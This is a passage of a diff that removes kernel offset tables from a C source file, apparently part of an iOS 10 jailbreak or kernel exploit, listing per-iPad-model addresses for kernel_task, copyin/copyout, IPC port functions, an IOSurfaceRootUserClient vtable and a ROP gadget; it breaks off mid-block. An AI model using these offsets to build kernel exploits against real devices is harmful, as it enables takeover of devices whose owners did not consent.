- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- }
-
- // iPad Mini 2 (Cellular), iPad Mini 2 (WiFi) and iPad Mini 2 (China)
- if(!strcmp(device, "iPad4,5") || !strcmp(device, "iPad4,4") || !strcmp(device, "iPad4,6"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180e98;
- OFFSET_COPYOUT = 0xfffffff00718108c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064fe174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071811ec;
- OFFSET_COPYOUT = 0xfffffff0071813e0;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064fe174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064fd174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064fd174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- }
-
- // iPad Air (WiFi)
- if(!strcmp(device, "iPad4,1"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f336a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00650dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
- }
-
- // iPad Mini 2 (Cellular)
- if(!strcmp(device, "iPad4,5"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f336a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00650dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
- }
-
- // iPad Mini 2 (WiFi)
- if(!strcmp(device, "iPad4,4"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f336a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00650dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
- }
-
- // iPad Air (China)
- if(!strcmp(device, "iPad4,3"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f336a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00650dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
-
- }
-
- // iPad Air (Cellular)
- if(!strcmp(device, "iPad4,2"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f336a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00650dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
-
- }
-
- // iPad Mini 2 (China)
- if(!strcmp(device, "iPad4,6"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f336a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00650dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
-
- }
-
- // iPad Mini 3 (Cellular), iPad Mini 3 (WiFi) and iPad Mini 3 (China)
- if(!strcmp(device, "iPad4,8") || !strcmp(device, "iPad4,7") || !strcmp(device, "iPad4,9"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180e98;
- OFFSET_COPYOUT = 0xfffffff00718108c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064ba174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071811ec;
- OFFSET_COPYOUT = 0xfffffff0071813e0;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064be174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064bd174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064bd174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F91"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071811ec;
- OFFSET_COPYOUT = 0xfffffff0071813e0;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064be174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- }
-
- // iPad Air 2 (Cellular) and iPad Air 2 (WiFi)
- if(!strcmp(device, "iPad5,4") || !strcmp(device, "iPad5,3"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d120;
- OFFSET_COPYOUT = 0xfffffff00718d314;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006456174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d474;
- OFFSET_COPYOUT = 0xfffffff00718d668;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006456174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d4a0;
- OFFSET_COPYOUT = 0xfffffff00718d694;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006459174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d4a0;
- OFFSET_COPYOUT = 0xfffffff00718d694;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006459174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F91"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d474;
- OFFSET_COPYOUT = 0xfffffff00718d668;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006456174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- }
-
- // iPad Mini 4 (Cellular) and iPad Mini 4 (WiFi)
- if(!strcmp(device, "iPad5,2") || !strcmp(device, "iPad5,1"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d028;
- OFFSET_COPYOUT = 0xfffffff00718d21c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00644e174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d37c;
- OFFSET_COPYOUT = 0xfffffff00718d570;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00644e174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00644d174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00644d174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F91"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d37c;
- OFFSET_COPYOUT = 0xfffffff00718d570;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ecdd38;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00644e174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- }
-
- // iPad Mini 3 (Cellular)
- if(!strcmp(device, "iPad4,8"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f32a60;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064cdfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
- }
-
- // iPad Mini 3 (WiFi)
- if(!strcmp(device, "iPad4,7"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f32a60;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064cdfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
-
- }
-
- // iPad Air 2 (Cellular)
- if(!strcmp(device, "iPad5,4"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f864;
- OFFSET_COPYOUT = 0xfffffff00718fa6c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ed93e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006471fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- }
-
- }
-
- // iPad Mini 4 (Cellular)
- if(!strcmp(device, "iPad5,2"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
